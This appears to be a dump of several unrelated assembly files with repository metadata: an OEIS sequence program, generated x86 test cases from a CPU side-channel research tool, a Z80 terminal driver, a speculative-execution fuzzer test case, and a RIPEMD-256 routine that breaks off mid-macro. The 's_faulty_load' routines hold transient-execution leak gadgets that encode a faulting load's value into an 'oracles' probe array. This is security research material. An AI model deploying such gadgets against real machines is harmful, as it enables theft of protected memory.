32 32 32 32 32 32 32 32 32 32 32 */
30.370861
2,999
0.657218
3b95d733c93770b2ff50e09d2a721b1dd20b2702
819
asm
Assembly
oeis/124/A124320.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/124/A124320.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/124/A124320.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A124320: Triangle read by rows: T(n,k) = k!*binomial(n+k-1,k) (n>=0, 0<=k<=n), rising factorial power, Pochhammer's symbol. ; Submitted by Christian Krause ; 1,1,1,1,2,6,1,3,12,60,1,4,20,120,840,1,5,30,210,1680,15120,1,6,42,336,3024,30240,332640,1,7,56,504,5040,55440,665280,8648640,1,8,72,720,7920,95040,1235520,17297280,259459200,1,9,90,990,11880,154440,2162160,32432400,518918400,8821612800,1,10,110,1320,17160,240240,3603600,57657600,980179200,17643225600,335221286400,1,11,132,1716,24024,360360,5765760,98017920,1764322560,33522128640,670442572800,14079294028800,1,12,156,2184,32760,524160,8910720,160392960,3047466240,60949324800,1279935820800 mov $1,1 mov $2,1 lpb $0 mov $3,$0 lpb $3 sub $0,$2 max $4,$2 add $2,1 sub $3,$4 lpe sub $0,1 sub $2,1 mul $1,$2 add $2,2 lpe mov $0,$1
39
493
0.715507
cee77a98dc938b0d31f33fd41373afdc721f188b
4,684
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_2_844.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_2_844.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_2_844.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x10afa, %rdx nop and $35271, %r9 mov $0x6162636465666768, %r11 movq %r11, %xmm7 and $0xffffffffffffffc0, %rdx movntdq %xmm7, (%rdx) nop xor %r10, %r10 lea addresses_D_ht+0x1267a, %r9 nop nop nop sub $46824, %r12 vmovups (%r9), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rax nop sub $62459, %rdx lea addresses_A_ht+0x1063a, %r10 nop nop nop nop add $22484, %rdi movb (%r10), %r9b nop nop nop xor %rdi, %rdi lea addresses_A_ht+0x197e5, %rdi nop nop cmp %rax, %rax mov $0x6162636465666768, %r9 movq %r9, (%rdi) nop nop dec %r10 lea addresses_A_ht+0x1bd5a, %r12 nop nop nop nop nop cmp $2765, %r11 movb $0x61, (%r12) nop nop nop nop nop dec %r12 lea addresses_WT_ht+0x297a, %r12 clflush (%r12) nop nop nop nop add $53145, %r9 movl $0x61626364, (%r12) nop and $65130, %rax lea addresses_normal_ht+0x4afa, %rsi lea addresses_WT_ht+0x1ae1a, %rdi nop nop nop cmp %r12, %r12 mov $25, %rcx rep movsb nop nop nop inc %rdx lea addresses_WT_ht+0x1dada, %rsi lea addresses_WC_ht+0x707a, %rdi nop nop nop nop xor $43356, %rax mov $61, %rcx rep movsb nop nop add %rsi, %rsi lea addresses_WT_ht+0x6d27, %r9 clflush (%r9) nop nop nop xor $26173, %rsi and $0xffffffffffffffc0, %r9 vmovntdqa (%r9), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r12 nop nop cmp $13962, %r9 lea addresses_A_ht+0x13bfa, %rsi lea addresses_UC_ht+0x106fa, %rdi nop nop nop nop dec %r10 mov $72, %rcx rep movsl nop inc %r10 lea addresses_WT_ht+0x96fa, %r10 nop cmp %r11, %r11 mov $0x6162636465666768, %r12 movq %r12, %xmm3 movups %xmm3, (%r10) inc %r10 lea addresses_WC_ht+0x41fe, %r12 dec %rcx mov (%r12), %ax and $13652, %r12 lea addresses_WC_ht+0x76fa, %rsi lea addresses_normal_ht+0x1d387, %rdi nop nop nop nop dec %r11 mov $52, %rcx rep movsb sub $25551, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_WT+0xf2fa, %rsi lea addresses_RW+0x134ac, %rdi nop nop sub %r10, %r10 mov $66, %rcx rep movsw sub $56616, %rbx // Faulty Load mov $0x771d1200000006fa, %rdx nop nop cmp $44418, %rsi movups (%rdx), %xmm2 vpextrq $0, %xmm2, %rdi lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_RW', 'congruent': 1, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'00': 2} 00 00 */
21.388128
153
0.654355
977e1c1ae1791df0d35e5fb2d86e942f9442eb62
886
asm
Assembly
libsrc/_DEVELOPMENT/target/zxn/driver/terminal/tshr_01_output_char_64/tshr_01_output_char_64_oterm_msg_printc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/zxn/driver/terminal/tshr_01_output_char_64/tshr_01_output_char_64_oterm_msg_printc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/zxn/driver/terminal/tshr_01_output_char_64/tshr_01_output_char_64_oterm_msg_printc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_driver SECTION code_driver_terminal_output PUBLIC tshr_01_output_char_64_oterm_msg_printc EXTERN asm_tshr_cxy2saddr tshr_01_output_char_64_oterm_msg_printc: ; enter : c = ascii code ; l = absolute x coordinate ; h = absolute y coordinate ; can use: af, bc, de, hl ld a,c cp 32 jr nc, code_ok ld c,'?' code_ok: call asm_tshr_cxy2saddr ex de,hl ; de = screen address ld l,c ld h,0 add hl,hl add hl,hl add hl,hl ; hl = 8 * ascii code ld c,(ix+21) ld b,(ix+22) ; bc = font address add hl,bc ; hl = & character definition ; print character pixels ld b,7 __print_loop: ld a,(hl) ld (de),a inc hl inc d djnz __print_loop ld a,(hl) ld (de),a ret
15.821429
60
0.542889
268911526fa09d7a07930a563b427b9cc9d8c38b
698
asm
Assembly
evaluation/6_arch_vs_ct/violations/v1-ctr.asm
mguarnieri/revizor
a3d91b19d91bcc9a266b7f10e5b9631906ebfedd
[ "MIT" ]
null
null
null
evaluation/6_arch_vs_ct/violations/v1-ctr.asm
mguarnieri/revizor
a3d91b19d91bcc9a266b7f10e5b9631906ebfedd
[ "MIT" ]
null
null
null
evaluation/6_arch_vs_ct/violations/v1-ctr.asm
mguarnieri/revizor
a3d91b19d91bcc9a266b7f10e5b9631906ebfedd
[ "MIT" ]
null
null
null
.intel_syntax noprefix .test_case_enter: LEA R14, [R14 + 4] # instrumentation MFENCE # instrumentation .test_case_main: .test_case_main.entry: JMP .bb0 .bb0: {store} ADC CX, CX AND RAX, 0b0111111000000 # instrumentation ADD RAX, R14 # instrumentation CMOVNS EBX, dword ptr [RAX] AND RCX, 0b0111111000000 # instrumentation ADD RCX, R14 # instrumentation MOVZX ECX, byte ptr [RCX] SUB RBX, 20 {store} ADC EDX, EDX REX SETNLE AL {store} REX ADC BL, BL {disp32} JBE .bb1 JMP .test_case_main.exit .bb1: REX INC AL AND RCX, 0b0111111000000 # instrumentation ADD RCX, R14 # instrumentation MOV EBX, dword ptr [RCX] LFENCE .test_case_main.exit: LEA R14, [R14 - 4] # instrumentation MFENCE # instrumentation
23.266667
42
0.762178
c67db229adb7034067ce50a89f6f246d33533051
7,823
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_1050_2000.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_1050_2000.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_1050_2000.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x2f18, %r10 sub $61701, %rbp movups (%r10), %xmm2 vpextrq $1, %xmm2, %r13 nop and %r12, %r12 lea addresses_D_ht+0x1e8a8, %rsi lea addresses_D_ht+0x1c8a8, %rdi nop nop nop nop nop cmp %r10, %r10 mov $40, %rcx rep movsw nop nop nop nop nop and %rbp, %rbp lea addresses_UC_ht+0x8aa8, %r10 nop add %rbp, %rbp movb $0x61, (%r10) nop nop nop nop add %r10, %r10 lea addresses_UC_ht+0xd01a, %rcx nop nop nop nop nop xor %rsi, %rsi vmovups (%rcx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %rbp sub $61057, %rsi lea addresses_D_ht+0xe494, %rcx nop nop nop nop nop and $42434, %rdi mov (%rcx), %ebp nop and $62571, %rbp lea addresses_WT_ht+0xf6a8, %rbp nop nop cmp %r12, %r12 mov $0x6162636465666768, %rdi movq %rdi, %xmm1 movups %xmm1, (%rbp) nop nop nop inc %r13 lea addresses_WT_ht+0x158ea, %rsi nop nop and $46410, %rdi mov (%rsi), %r10w nop nop nop sub %rbp, %rbp lea addresses_UC_ht+0x6ac8, %rsi lea addresses_A_ht+0x5448, %rdi nop nop sub %rax, %rax mov $104, %rcx rep movsl nop nop nop nop nop cmp $2953, %rdi lea addresses_UC_ht+0x9aa8, %rsi lea addresses_normal_ht+0x1a28, %rdi nop nop nop nop inc %rbp mov $0, %rcx rep movsb nop nop xor $19963, %rbp lea addresses_A_ht+0x2ea8, %rbp nop nop nop nop inc %r10 vmovups (%rbp), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rax nop nop sub %rax, %rax lea addresses_UC_ht+0x3508, %rsi lea addresses_WC_ht+0x71a8, %rdi nop nop nop nop nop sub $51908, %rax mov $106, %rcx rep movsl nop sub $23317, %rdi lea addresses_normal_ht+0x7aa8, %rsi nop nop and %rax, %rax movb $0x61, (%rsi) cmp $48682, %rcx lea addresses_D_ht+0x9fa8, %r12 sub %rcx, %rcx movl $0x61626364, (%r12) and %rax, %rax lea addresses_WT_ht+0x1a138, %rsi lea addresses_D_ht+0x1c994, %rdi nop add $17, %rbp mov $64, %rcx rep movsq nop nop nop nop nop and %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %rbp push %rdi push %rdx push %rsi // Store lea addresses_US+0x57fc, %r11 nop and $30718, %r15 mov $0x5152535455565758, %rbp movq %rbp, %xmm0 vmovntdq %ymm0, (%r11) xor $27712, %rbp // Faulty Load lea addresses_RW+0x2ea8, %rdx nop nop nop nop nop xor $21646, %r11 mov (%rdx), %bp lea oracles, %rdi and $0xff, %rbp shlq $12, %rbp mov (%rdi,%rbp,1), %rbp pop %rsi pop %rdx pop %rdi pop %rbp pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': True, 'type': 'addresses_US', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 2, 'NT': True, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': True}} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': True}} {'32': 1050} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
34.311404
2,999
0.656909
b24ced0c5bd200de518fb3679ac85dd0518b779a
14,336
asm
Assembly
hashes/rmd256.asm
FloydZ/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
11
2015-03-17T10:31:23.000Z
2022-01-21T17:42:43.000Z
hashes/rmd256.asm
0xFF1E071F/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
null
null
null
hashes/rmd256.asm
0xFF1E071F/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
6
2018-01-29T16:06:36.000Z
2021-05-08T19:22:24.000Z
.const pushad_size equ 8*4 pushad_eax equ 7*4 pushad_ecx equ 6*4 pushad_edx equ 5*4 pushad_ebx equ 4*4 pushad_esp equ 3*4 pushad_ebp equ 2*4 pushad_esi equ 1*4 pushad_edi equ 0*4 .data? RMD256HashBuf db 64 dup(?) RMD256Len dd ? RMD256Index dd ? RMD256Digest dd 8 dup(?) .code RMD256FF macro dwA, dwB, dwC, dwD, locX, rolS mov edi,dwB xor edi,dwC xor edi,dwD add dwA,locX add dwA,edi rol dwA,rolS endm RMD256GG macro dwA, dwB, dwC, dwD, locX, rolS, constAC mov edi,dwC xor edi,dwD and edi,dwB xor edi,dwD add dwA,[locX] lea dwA,[dwA+edi+constAC] rol dwA,rolS ENDM RMD256HH macro dwA, dwB, dwC, dwD, locX, rolS, constAC mov edi,dwC xor edi,-1 or edi,dwB xor edi,dwD add dwA,[locX] lea dwA,[dwA+edi+constAC] rol dwA,rolS endm RMD256II macro dwA, dwB, dwC, dwD, locX, rolS, constAC mov edi,dwC xor edi,dwB and edi,dwD xor edi,dwC add dwA,[locX] lea dwA,[dwA+edi+constAC] rol dwA,rolS endm align dword RMD256Transform proc pushad mov esi,offset RMD256Digest mov ebp,offset RMD256HashBuf mov eax,[esi+0*4];a1 mov ebx,[esi+1*4];b1 mov ecx,[esi+2*4];c1 mov edx,[esi+3*4];d1 ;===================================================== RMD256FF eax, ebx, ecx, edx, dword ptr [ebp+ 0*4], 11 RMD256FF edx, eax, ebx, ecx, dword ptr [ebp+ 1*4], 14 RMD256FF ecx, edx, eax, ebx, dword ptr [ebp+ 2*4], 15 RMD256FF ebx, ecx, edx, eax, dword ptr [ebp+ 3*4], 12 RMD256FF eax, ebx, ecx, edx, dword ptr [ebp+ 4*4], 5 RMD256FF edx, eax, ebx, ecx, dword ptr [ebp+ 5*4], 8 RMD256FF ecx, edx, eax, ebx, dword ptr [ebp+ 6*4], 7 RMD256FF ebx, ecx, edx, eax, dword ptr [ebp+ 7*4], 9 RMD256FF eax, ebx, ecx, edx, dword ptr [ebp+ 8*4], 11 RMD256FF edx, eax, ebx, ecx, dword ptr [ebp+ 9*4], 13 RMD256FF ecx, edx, eax, ebx, dword ptr [ebp+10*4], 14 RMD256FF ebx, ecx, edx, eax, dword ptr [ebp+11*4], 15 RMD256FF eax, ebx, ecx, edx, dword ptr [ebp+12*4], 6 RMD256FF edx, eax, ebx, ecx, dword ptr [ebp+13*4], 7 RMD256FF ecx, edx, eax, ebx, dword ptr [ebp+14*4], 9 RMD256FF ebx, ecx, edx, eax, dword ptr [ebp+15*4], 8 ;===================================================== pushad; store a..d 1 mov eax,[esi+4*4];a2 mov ebx,[esi+5*4];b2 mov ecx,[esi+6*4];c2 mov edx,[esi+7*4];d2 ;================================================================= RMD256II eax, ebx, ecx, edx, dword ptr [ebp+ 5*4], 8, 050A28BE6H RMD256II edx, eax, ebx, ecx, dword ptr [ebp+14*4], 9, 050A28BE6H RMD256II ecx, edx, eax, ebx, dword ptr [ebp+ 7*4], 9, 050A28BE6H RMD256II ebx, ecx, edx, eax, dword ptr [ebp+ 0*4], 11, 050A28BE6H RMD256II eax, ebx, ecx, edx, dword ptr [ebp+ 9*4], 13, 050A28BE6H RMD256II edx, eax, ebx, ecx, dword ptr [ebp+ 2*4], 15, 050A28BE6H RMD256II ecx, edx, eax, ebx, dword ptr [ebp+11*4], 15, 050A28BE6H RMD256II ebx, ecx, edx, eax, dword ptr [ebp+ 4*4], 5, 050A28BE6H RMD256II eax, ebx, ecx, edx, dword ptr [ebp+13*4], 7, 050A28BE6H RMD256II edx, eax, ebx, ecx, dword ptr [ebp+ 6*4], 7, 050A28BE6H RMD256II ecx, edx, eax, ebx, dword ptr [ebp+15*4], 8, 050A28BE6H RMD256II ebx, ecx, edx, eax, dword ptr [ebp+ 8*4], 11, 050A28BE6H RMD256II eax, ebx, ecx, edx, dword ptr [ebp+ 1*4], 14, 050A28BE6H RMD256II edx, eax, ebx, ecx, dword ptr [ebp+10*4], 14, 050A28BE6H RMD256II ecx, edx, eax, ebx, dword ptr [ebp+ 3*4], 12, 050A28BE6H RMD256II ebx, ecx, edx, eax, dword ptr [ebp+12*4], 6, 050A28BE6H ;================================================================= mov edi,[esp+pushad_eax] mov [esp+pushad_eax],eax mov eax,edi ; xchg eax,[esp+pushad_eax] pushad;store a..d 2 mov eax,[esp+pushad_size+pushad_eax];a1 mov ebx,[esp+pushad_size+pushad_ebx];b1 mov ecx,[esp+pushad_size+pushad_ecx];c1 mov edx,[esp+pushad_size+pushad_edx];d1 ;================================================================= RMD256GG eax, ebx, ecx, edx, dword ptr [ebp+ 7*4], 7, 05A827999H RMD256GG edx, eax, ebx, ecx, dword ptr [ebp+ 4*4], 6, 05A827999H RMD256GG ecx, edx, eax, ebx, dword ptr [ebp+13*4], 8, 05A827999H RMD256GG ebx, ecx, edx, eax, dword ptr [ebp+ 1*4], 13, 05A827999H RMD256GG eax, ebx, ecx, edx, dword ptr [ebp+10*4], 11, 05A827999H RMD256GG edx, eax, ebx, ecx, dword ptr [ebp+ 6*4], 9, 05A827999H RMD256GG ecx, edx, eax, ebx, dword ptr [ebp+15*4], 7, 05A827999H RMD256GG ebx, ecx, edx, eax, dword ptr [ebp+ 3*4], 15, 05A827999H RMD256GG eax, ebx, ecx, edx, dword ptr [ebp+12*4], 7, 05A827999H RMD256GG edx, eax, ebx, ecx, dword ptr [ebp+ 0*4], 12, 05A827999H RMD256GG ecx, edx, eax, ebx, dword ptr [ebp+ 9*4], 15, 05A827999H RMD256GG ebx, ecx, edx, eax, dword ptr [ebp+ 5*4], 9, 05A827999H RMD256GG eax, ebx, ecx, edx, dword ptr [ebp+ 2*4], 11, 05A827999H RMD256GG edx, eax, ebx, ecx, dword ptr [ebp+14*4], 7, 05A827999H RMD256GG ecx, edx, eax, ebx, dword ptr [ebp+11*4], 13, 05A827999H RMD256GG ebx, ecx, edx, eax, dword ptr [ebp+ 8*4], 12, 05A827999H ;================================================================= mov [esp+pushad_size+pushad_eax],eax;a1 mov [esp+pushad_size+pushad_ebx],ebx;b1 mov [esp+pushad_size+pushad_ecx],ecx;c1 mov [esp+pushad_size+pushad_edx],edx;d1 mov eax,[esp+pushad_eax];a2 mov ebx,[esp+pushad_ebx];b2 mov ecx,[esp+pushad_ecx];c2 mov edx,[esp+pushad_edx];d2 ;================================================================= RMD256HH eax, ebx, ecx, edx, dword ptr [ebp+ 6*4], 9, 05C4DD124H RMD256HH edx, eax, ebx, ecx, dword ptr [ebp+11*4], 13, 05C4DD124H RMD256HH ecx, edx, eax, ebx, dword ptr [ebp+ 3*4], 15, 05C4DD124H RMD256HH ebx, ecx, edx, eax, dword ptr [ebp+ 7*4], 7, 05C4DD124H RMD256HH eax, ebx, ecx, edx, dword ptr [ebp+ 0*4], 12, 05C4DD124H RMD256HH edx, eax, ebx, ecx, dword ptr [ebp+13*4], 8, 05C4DD124H RMD256HH ecx, edx, eax, ebx, dword ptr [ebp+ 5*4], 9, 05C4DD124H RMD256HH ebx, ecx, edx, eax, dword ptr [ebp+10*4], 11, 05C4DD124H RMD256HH eax, ebx, ecx, edx, dword ptr [ebp+14*4], 7, 05C4DD124H RMD256HH edx, eax, ebx, ecx, dword ptr [ebp+15*4], 7, 05C4DD124H RMD256HH ecx, edx, eax, ebx, dword ptr [ebp+ 8*4], 12, 05C4DD124H RMD256HH ebx, ecx, edx, eax, dword ptr [ebp+12*4], 7, 05C4DD124H RMD256HH eax, ebx, ecx, edx, dword ptr [ebp+ 4*4], 6, 